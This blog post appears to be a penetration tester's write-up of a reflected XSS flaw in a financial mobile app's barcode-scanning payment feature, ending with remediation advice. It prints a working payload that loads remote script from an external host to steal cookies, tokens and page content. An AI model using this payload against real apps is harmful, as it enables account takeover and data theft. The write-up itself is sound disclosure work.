Barcode Scanner! What Could Go Wrong?

xss_barcode_cover1 (1)
Arben Shala
5 min read
June 19, 2025
Blog
Resources

Overview 

While conducting a penetration test on a mobile application, our team identified an interesting Cross-site Scripting (XSS) vulnerability. The financial mobile app included a feature allowing users to pay invoices by scanning barcodes. However, when a malicious barcode (yes... malicious) was scanned, it triggered a Reflected XSS attack, enabling harmful actions like capturing the content of the current page and exfiltrating it to a server controlled by the attacker.

In general, an XSS (Cross-Site Scripting) vulnerability lets attackers inject malicious code into a website that other users see. When users visit the site, the code runs in their browser, potentially stealing data like login credentials or personal info, redirecting them to harmful sites, or performing actions on their behalf. This vulnerability is often exploited through unvalidated inputs, such as forms or URLs, where attackers can insert scripts that execute in the victim's browser.

The following sections provide a detailed explanation of how we discovered this vulnerability.

Discovery

As soon as we started the assessment, we were provided with the APK file. Before jumping to dynamic analysis, we decompiled the application to gain insight into its structure and code, and to examine the underlying framework. Various tools and frameworks can be used for this process, such as:

  • apktool
  • enjarify
  • MobSF
  • apk2java, etc.

MobSF provides a wider spectrum of static analysis since it not only extracts the source code but also identifies potential vulnerabilities, extracts URLs and credentials, and more, making it our primary tool for this purpose. We can easily launch MobSF using Docker:

docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest

From there, we can navigate to http://localhost:8000/ and upload the APK file for analysis.

After uploading and analyzing the file, we proceeded to examine the application's Java source code. The file "MainActivity.java" caught our attention, particularly due to a specific line (highlighted in the screenshot below). This line immediately raised suspicions of a potential XSS vulnerability, but we needed to confirm it through further analysis.

Figure 1 - The vulnerable code snippet and injection point 

Exploitation

As shown in the screenshot above, the vulnerable code contained variables such as "barcode" which indicated that we should test the barcode scanning feature present in the application without needing more detailed analysis. We installed the application on a physical device, logged in, and directly tested the "Pay Invoice" feature.

Figure 2 - Using the “Scan Barcode” feature 

We generated a simple barcode using an online barcode generator, embedding the following payload:

'-alert()-'

Upon scanning, the application executed the JavaScript alert() function, as the payload was injected into the previously identified vulnerable code snippet.

The vulnerability was confirmed, but we couldn't perform much exploitation due to the barcode's character limit. Therefore, we purchased a short domain and hosted ezXSS, which is an open-source tool for testing Blind XSS vulnerabilities.

We generated another barcode, this time containing a different payload hosted at our domain:

';$.getScript("//xss.x0a.pw/pretera");'
Figure 3 - Generating the barcode with malicious payload

By default, this payload is capable of performing the following actions and transmitting the data to our controlled server (ezXSS instance):

  • Stealing cookies
  • Logging the IP address, user agent, and other valuable details
  • Accessing the browser's localStorage
  • Retrieving the current page content
  • Capturing a screenshot of the current page
  • And more

Using the "Pay Invoice" feature and scanning the barcode again, we successfully extracted sensitive information, including the user's current balance, an authorization token from localStorage that could enable account takeover, and other valuable details, as partially seen in the screenshots below.

Figure 4 - Receiving sensitive data on our controlled instance
Figure 5 - Screenshot of the victim’s current page received on our controlled instance

As shown in the screenshot above, confidential information was disclosed, including the account balance among other sensitive data (FYI, this was a testing instance).

Impact

A malicious actor could exploit this vulnerability as part of a sophisticated social engineering attack chain, such as creating a counterfeit bill that mimics a legitimate institution and mailing it to the victim. The ultimate objective would depend on the attacker's intentions, but generally, a Cross-site Scripting (XSS) vulnerability can be used to carry out the following:

  • Impersonate or masquerade as the victim user
  • Carry out any action that the user is able to perform
  • Read any data that the user is able to access
  • Perform virtual defacement of the website
  • Redirect users to a phishing page

Recommendations

The following was recommended to the client in order to remediate this issue:

  • Use a robust sanitization library like Google's Gumbo Parser or OWASP's Java HTML Sanitizer to strip out dangerous tags and attributes.
  • Ensure that all user inputs are validated against a strict allowlist of expected formats.
  • Set the WebSettings appropriately to disable JavaScript and other potentially unsafe features if they are not required for your app's functionality. If JavaScript is not needed, disable it by calling setJavaScriptEnabled(false) on the WebView's WebSettings object.
  • Enforce a Content Security Policy (CSP) that restricts the sources from which scripts, styles, and other resources can be loaded, significantly reducing the impact of XSS attacks.

Share this Link